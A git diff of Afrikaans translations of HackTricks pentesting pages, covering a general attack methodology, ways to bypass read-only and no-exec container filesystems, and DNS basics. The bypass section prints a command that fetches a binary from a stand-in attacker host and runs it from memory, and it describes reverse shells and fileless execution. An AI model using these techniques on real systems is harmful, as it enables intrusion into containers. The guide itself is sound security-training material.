**Afhanklik** van of die **toets** wat jy uitvoer 'n **interne of eksterne toets** is, mag jy belangstel wees om **gasheer binne die maatskappy se netwerk** te vind (interne toets) of **bates van die maatskappy op die internet** te vind (eksterne toets).
|
||||
**Afhanklik** van of die **toets** wat jy uitvoer 'n **interne of eksterne toets** is, mag jy belangstel om **gasheer binne die maatskappy se netwerk** te vind (interne toets) of **bates van die maatskappy op die internet te vind** (eksterne toets).
|
||||
|
||||
{% hint style="info" %}
|
||||
Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy toegang tot die interne netwerk van die maatskappy verkry het, moet jy hierdie gids herlaai.
|
||||
Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy toegang tot die interne netwerk van die maatskappy verkry het, moet jy hierdie gids herbegin.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Pret hê met die netwerk**](pentesting-network/) **(Intern)**
|
||||
|
@ -45,7 +45,7 @@ Voordat jy 'n gasheer aanval, verkies jy miskien om **sekere geloofsbriewe te st
|
|||
|
||||
### 3- [Poortskandering - Diensontdekking](pentesting-network/#scanning-hosts)
|
||||
|
||||
Die eerste ding om te doen wanneer jy **kwesbaarhede in 'n gasheer soek** is om te weet watter **dienste op watter poorte hardloop**. Laat ons die [**basiese gereedskap sien om poorte van gasheers te skandeer**](pentesting-network/#scanning-hosts).
|
||||
Die eerste ding om te doen wanneer jy **kwesbaarhede in 'n gasheer soek** is om te weet watter **dienste op watter poorte hardloop**. Laat ons kyk na die [**basiese gereedskap om poorte van gasheer te skandeer**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Soek diensweergawe-uitbuitings](search-exploits.md)
|
||||
|
||||
|
@ -60,7 +60,7 @@ As daar nie 'n spog-uitbuiting vir enige hardlopende diens is nie, moet jy soek
|
|||
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **gedeelte (aangesien dit die mees omvattende is).**\
|
||||
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
|
||||
|
||||
**As jou diens nie binne die indeks is nie, soek in Google** vir ander handleidings en **laat weet my as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan te sluit by die diens, dit te fuzz en die antwoorde te lees** (indien enige).
|
||||
**As jou diens nie binne die indeks is nie, soek in Google** vir ander handleidings en **laat weet my as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google, voer jou **eie blinde pentesting** uit, jy kan begin deur **met die diens te verbind, dit te fuzz en die antwoorde te lees** (indien enige).
|
||||
|
||||
#### 5.1 Outomatiese Gereedskap
|
||||
|
||||
|
@ -68,7 +68,7 @@ Daar is ook verskeie gereedskap wat **outomatiese kwesbaarheidsassesserings** ka
|
|||
|
||||
#### **5.2 Brute-Force dienste**
|
||||
|
||||
In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens te kompromiteer**. [**Vind hier 'n Spiekbrief van verskillende dienste wat brute forcing**](brute-force.md)**.**
|
||||
In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens te kompromiteer**. [**Vind hier 'n Spiekbrief van verskillende dienste wat kragtige krag gebruik**](brute-force.md)**.**
|
||||
|
||||
### 6- [Hengel](phishing-methodology/)
|
||||
|
||||
|
@ -78,7 +78,7 @@ As jy teen hierdie punt geen interessante kwesbaarheid gevind het nie, **mag jy
|
|||
|
||||
Op een of ander manier behoort jy **'n manier gevind te het om kode uit te voer** op die slagoffer. Dan, [sou 'n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde skaal te kry, baie nuttig wees](shells/).
|
||||
|
||||
Veral in Windows mag jy dalk hulp nodig hê om **antivirusprogramme te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Veral in Windows mag jy dalk hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Binne
|
||||
|
||||
|
@ -88,7 +88,7 @@ As jy probleme het met die skaal, kan jy hier 'n klein **samestelling van die me
|
|||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**Uitlek**](exfiltration.md)
|
||||
### **9 -** [**Uitvoer**](exfiltration.md)
|
||||
|
||||
Jy sal waarskynlik nodig hê om **sekere data uit die slagoffer te onttrek** of selfs **iets in te voer** (soos voorregskaleringsskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy kan gebruik vir hierdie doeleindes**](exfiltration.md)**.**
|
||||
### **10- Voorregverhoging**
|
||||
|
@ -100,9 +100,9 @@ Hier kan jy 'n **gids vind om voorregte plaaslik te verhoog in** [**Linux**](../
|
|||
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
|
||||
|
||||
* [**Verifikasie, Gelde, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Hoe werk [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Hoe om kredentiale te [**steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* Enkele truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
|
||||
* Hoe werk [**NTLM**](../windows-hardening/ntlm/)?
|
||||
* Hoe om kredensiale te [**steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* 'n Paar truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Moenie vergeet om die beste gereedskap om Windows en Linux plaaslike Voorregverhogingsroetes op te som:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
|
@ -115,7 +115,7 @@ Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om t
|
|||
#### **11**.1 - Plundering
|
||||
|
||||
Kyk of jy meer **wagwoorde** binne die gasheer kan vind of as jy **toegang het tot ander masjiene** met die **voorregte** van jou **gebruiker**.\
|
||||
Vind hier verskillende maniere om [**wagwoorde in Windows te dump**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
Vind hier verskillende maniere om **wagwoorde in Windows te dump**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Volharding
|
||||
|
||||
|
@ -126,9 +126,9 @@ TODO: Voltooi volharding Post in Windows & Linux
|
|||
|
||||
### 12 - Pivoting
|
||||
|
||||
Met die **versamelde gelde** kan jy toegang hê tot ander masjiene, of miskien moet jy **nuwe gasheer ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
||||
Met die **versamelde kredensiale** kan jy toegang hê tot ander masjiene, of miskien moet jy **nuwe gasheer ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
||||
In hierdie geval kan tonneling nodig wees. Hier kan jy 'n [**post vind wat oor tonneling praat**](tunneling-and-port-forwarding.md).\
|
||||
Jy moet beslis ook die post oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy koel truuks vind om lateraal te beweeg, voorregte te verhoog en kredentiale te dump.\
|
||||
Jy moet beslis ook die post oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy koel truuks vind om lateraal te beweeg, voorregte te verhoog en kredensiale te dump.\
|
||||
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om te pivoteer op Windows-omgewings..
|
||||
|
||||
### MEER
|
||||
|
@ -147,11 +147,11 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
|
|||
|
||||
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding-orakel**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -161,9 +161,9 @@ As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons i
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **laai HackTricks af in PDF** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,9 +14,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhakbare hak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hak loopbaan** en die onhakbare hak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ In die volgende videos kan jy die tegnieke wat in hierdie bladsy genoem word, me
|
|||
|
||||
## lees-slegs / geen-uitvoer scenario
|
||||
|
||||
Dit word al hoe meer algemeen om Linux-masjiene te vind wat gemonteer is met **lees-slegs (ro) lêersisteem beskerming**, veral in houers. Dit is omdat dit maklik is om 'n houer met 'n ro lêersisteem te hardloop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
|
||||
Dit word al hoe meer algemeen om Linux-masjiene te vind wat gemonteer is met **lees-slegs (ro) lêerstelselbeskerming**, veral in houers. Dit is omdat dit maklik is om 'n houer met 'n ro lêerstelsel te hardloop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,7 +44,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Nogtans, selfs as die lêersisteem as ro gemonteer is, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons niks op die skyf kan skryf nie. Hierdie vouer sal egter **gemonteer word met geen-uitvoer beskerming**, so as jy 'n binêre lêer hier aflaai, **sal jy dit nie kan uitvoer nie**.
|
||||
Nogtans, selfs as die lêerstelsel as ro gemonteer is, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons niks op die skyf kan skryf nie. Hierdie vouer sal egter **gemonteer word met geen-uitvoer beskerming**, so as jy 'n binêre lêer hier aflaai, sal jy dit **nie kan uitvoer nie**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Vanuit 'n rooi span perspektief, maak dit dit **ingewikkeld om binêre lêers af te laai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumereerders soos `kubectl`).
|
||||
|
@ -52,31 +52,31 @@ Vanuit 'n rooi span perspektief, maak dit dit **ingewikkeld om binêre lêers af
|
|||
|
||||
## Maklikste omseiling: Skripte
|
||||
|
||||
Let daarop dat ek van binêre lêers gepraat het, jy kan **enige skrip uitvoer** solank die tolk binne die masjien is, soos 'n **skulpskrip** as `sh` teenwoordig is of 'n **python skrip** as `python` geïnstalleer is.
|
||||
Let daarop dat ek van binêre lêers gepraat het, jy kan **enige skrip uitvoer** solank die tolk binne die masjien is, soos 'n **skelmskrip** as `sh` teenwoordig is of 'n **python skrip** as `python` geïnstalleer is.
|
||||
|
||||
Nogtans is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê, uit te voer nie.
|
||||
|
||||
## Geheue Omseilings
|
||||
|
||||
As jy 'n binêre lêer wil uitvoer maar die lêersisteem dit nie toelaat nie, is die beste manier om dit te doen deur dit vanaf die geheue uit te voer, aangesien die **beskerming nie daarop van toepassing is nie**.
|
||||
As jy 'n binêre lêer wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur dit vanaf die geheue uit te voer, aangesien die **beskerming nie daarop van toepassing is nie**.
|
||||
|
||||
### FD + exec syscall omseiling
|
||||
|
||||
As jy kragtige skripskrywers binne die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre lêer om vanaf die geheue uit te voer aflaai, dit in 'n geheue lêerbeskrywer stoor (`create_memfd` syscall), wat nie deur daardie beskerming beskerm gaan word nie, en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
||||
As jy kragtige skripskrywers binne die masjien het, soos **Python**, **Perl**, of **Ruby** kan jy die binêre aflaai om vanaf die geheue uit te voer, dit in 'n geheue lêerbeskrywer stoor (`create_memfd` syscall), wat nie deur daardie beskerming beskerm gaan word nie, en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
||||
|
||||
Hiervoor kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre lêer deurgee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre lêer saamgepers en b64 gekodeer** met die instruksies om dit te **dekodeer en te dekompres** in 'n **fd** wat geskep is deur die `create_memfd` syscall te roep en 'n oproep na die **exec** syscall om dit uit te voer.
|
||||
Hiervoor kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre lêer gee en dit sal 'n skrip genereer in die aangeduide taal met die **binêre saamgepers en b64 gekodeer** met die instruksies om dit te **ontsodeer en te dekompresseer** in 'n **fd** wat geskep is deur die `create_memfd` syscall te roep en 'n oproep na die **exec** syscall om dit uit te voer.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dit werk nie in ander skripskryftale soos PHP of Node nie omdat hulle geen **standaard manier het om rou syscalls** vanaf 'n skrip te roep nie, so dit is nie moontlik om `create_memfd` te roep om die **geheue fd** te skep om die binêre te stoor nie.
|
||||
|
||||
Verder, 'n **gewone fd** met 'n lêer in `/dev/shm` skep sal nie werk nie, omdat jy nie toegelaat sal word om dit uit te voer nie omdat die **geen-uitvoer beskerming** van toepassing sal wees.
|
||||
Verder, 'n **gewone fd** met 'n lêer in `/dev/shm` skep sal nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die **geen-uitvoer beskerming** van toepassing sal wees.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou in staat stel om die geheue van jou eie proses te **modifiseer** deur sy **`/proc/self/mem`** te oorskryf.
|
||||
|
||||
Daarom, deur die samestellingskode te beheer wat deur die proses uitgevoer word, kan jy 'n **shellkode** skryf en die proses "muteer" om **enige arbitrêre kode uit te voer**.
|
||||
Daarom, deur die samestellingskode te beheer wat deur die proses uitgevoer word, kan jy 'n **shellkode** skryf en die proses "muteer" om **enige willekeurige kode** uit te voer.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** sal jou in staat stel om jou eie **shellkode** of **enige binêre** vanaf **geheue** te laai en **uit te voer**.
|
||||
|
@ -87,7 +87,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
```
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode gedemoniseer**, sodat elke keer as jy 'n **verskillende binêre lêer wil hardloop** hoef jy nie DDexec weer te begin nie, jy kan net memexec shellcode hardloop via die DDexec tegniek en dan **met hierdie duiwel kommunikeer om nuwe binêre lêers te stuur om te laai en te hardloop**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode gedemoniseer**, sodat elke keer as jy 'n **verskillende binêre lêer wil hardloop** hoef jy nie DDexec weer te begin nie, jy kan net memexec shellcode hardloop via die DDexec tegniek en dan **met hierdie duiwel kommunikeer om nuwe binêre lêers te laai en hardloop**.
|
||||
|
||||
Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre lêers van 'n PHP omgekeerde dop te hardloop** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -99,35 +99,35 @@ Met 'n soortgelyke doel as DDexec, laat die [**memdlopen**](https://github.com/a
|
|||
|
||||
### Wat is distroless
|
||||
|
||||
Distroless houers bevat slegs die **kaal minimum komponente wat nodig is om 'n spesifieke aansoek of diens te hardloop**, soos biblioteke en hardloop afhanklikhede, maar sluit groter komponente uit soos 'n pakkettebestuurder, dop, of stelsel nutsmaatskappye.
|
||||
Distroless houers bevat slegs die **kaal minimum komponente wat nodig is om 'n spesifieke aansoek of diens te hardloop**, soos biblioteke en hardloop afhanklikhede, maar sluit groter komponente uit soos 'n pakkettebestuurder, skul, of stelsel nutsmaatskappye.
|
||||
|
||||
Die doel van distroless houers is om die **aanvalsvlak van houers te verminder deur onnodige komponente te elimineer** en die aantal kwesbaarhede wat uitgebuit kan word te minimeer.
|
||||
Die doel van distroless houers is om die aanvalsvlak van houers te **verminder deur onnodige komponente te elimineer** en die aantal kwesbaarhede wat uitgebuit kan word te minimeer.
|
||||
|
||||
### Omgekeerde Dop
|
||||
|
||||
In 'n distroless houer mag jy dalk **nie eers `sh` of `bash`** vind om 'n gewone dop te kry nie. Jy sal ook nie binêre lêers soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel hardloop.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Daarom sal jy **nie** in staat wees om 'n **omgekeerde dop** te kry of die stelsel te **opsom** soos jy gewoonlik doen nie.
|
||||
Daarom sal jy **nie** in staat wees om 'n **omgekeerde dop** te kry of die stelsel te **opnoem** soos jy gewoonlik doen nie.
|
||||
{% endhint %}
|
||||
|
||||
Maar as die gekompromiteerde houer byvoorbeeld 'n flask web hardloop, dan is python geïnstalleer, en dus kan jy 'n **Python omgekeerde dop** kry. As dit node hardloop, kan jy 'n Node omgekeerde dop kry, en dieselfde met meeste enige **skrips taal**.
|
||||
Maar as die gekompromitteerde houer byvoorbeeld 'n flask web hardloop, dan is Python geïnstalleer, en dus kan jy 'n **Python omgekeerde dop** kry. As dit node hardloop, kan jy 'n Node omgekeerde dop kry, en dieselfde met meeste enige **skrips taal**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Deur die skrips taal te gebruik kan jy die stelsel **opsom** deur die taal se vermoëns te gebruik.
|
||||
Deur die skrips taal te gebruik kan jy die stelsel **opnoem** deur die taal se vermoëns te gebruik.
|
||||
{% endhint %}
|
||||
|
||||
As daar **geen `read-only/no-exec`** beskerming is nie, kan jy jou omgekeerde dop misbruik om **binêre lêers in die lêersisteem te skryf** en hulle **uit te voer**.
|
||||
As daar **geen `read-only/no-exec`** beskerming is nie, kan jy jou omgekeerde dop misbruik om **binêre lêers in die lêerstelsel te skryf** en hulle **uit te voer**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Maar in hierdie soort houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue uitvoer tegnieke gebruik om hulle te omseil**.
|
||||
{% endhint %}
|
||||
|
||||
Jy kan **voorbeelde** vind van hoe om **sekere RCE kwesbaarhede te misbruik** om skrips taal **omgekeerde doppe** te kry en binêre lêers uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Jy kan **voorbeelde** vind van hoe om **sekere RCE kwesbaarhede te misbruik** om skrips taal **omgekeerde dops** te kry en binêre lêers van geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
As jy belangstel in 'n **hackingsloopbaan** en wil die onhackbare hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -139,7 +139,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -6,23 +6,23 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
Die **Domain Name System (DNS)** dien as die internet se gids, wat gebruikers in staat stel om webwerwe te besoek deur **maklik-om-te-onthou domeinname** soos google.com of facebook.com, eerder as die numeriese Internet Protocol (IP)-adresse. Deur domeinnamen na IP-adresse te vertaal, verseker die DNS dat webblaaie vinnig internetbronne kan laai, wat vereenvoudig hoe ons die aanlynwêreld navigeer.
|
||||
Die **Domain Name System (DNS)** dien as die internet se gids, wat gebruikers in staat stel om webwerwe te besoek deur **maklik onthoudbare domeinname** soos google.com of facebook.com, eerder as die numeriese Internet Protocol (IP)-adresse. Deur domeinnamen na IP-adresse te vertaal, verseker die DNS dat webblaaie vinnig internetbronne kan laai, wat vereenvoudig hoe ons die aanlynwêreld navigeer.
|
||||
|
||||
**Verstekpoort:** 53
|
||||
```
|
||||
|
@ -33,10 +33,10 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### Verskillende DNS-bedieners
|
||||
|
||||
* **DNS-wortelbedieners**: Hierdie bedieners is bo-aan die DNS-hierargie, bestuur die topvlakdomeine en tree slegs op as laervlakbedieners nie reageer nie. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) hou toesig oor hul werking, met 'n wêreldwye telling van 13.
|
||||
* **DNS-wortelbedieners**: Hierdie bedieners is bo-aan die DNS-hierargie, bestuur die top-vlak domeine en tree slegs op as laervlakbedieners nie reageer nie. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) hou toesig oor hul werking, met 'n wêreldwye telling van 13.
|
||||
* **Gesaghhebbende Naambedieners**: Hierdie bedieners het die finale sê oor navrae in hul aangewese zones, en bied definitiewe antwoorde. As hulle nie 'n antwoord kan gee nie, word die navraag na die wortelbedieners geëskaleer.
|
||||
* **Nie-gesaghhebbende Naambedieners**: Sonder eienaarskap oor DNS-zones, versamel hierdie bedieners domeininligting deur navrae aan ander bedieners te rig.
|
||||
* **Kas-dns-bedieners**: Hierdie tipe bediener onthou vorige navraeantwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige navrae te versnel, met die kasduur wat deur die gesaghhebbende bediener bepaal word.
|
||||
* **Kas-dns-bedieners**: Hierdie tipe bediener onthou vorige navraagantwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige navrae te versnel, met die kasduur wat deur die gesaghhebbende bediener bepaal word.
|
||||
* **Deurverwysingsbediener**: Deur 'n eenvoudige rol te vervul, stuur deurverwysingsbedieners eenvoudig navrae na 'n ander bediener deur.
|
||||
* **Oplosser**: Geïntegreer binne rekenaars of roeteryers, voer oplossers naamoplossing plaaslik uit en word nie as gesaghhebbend beskou nie.
|
||||
|
||||
|
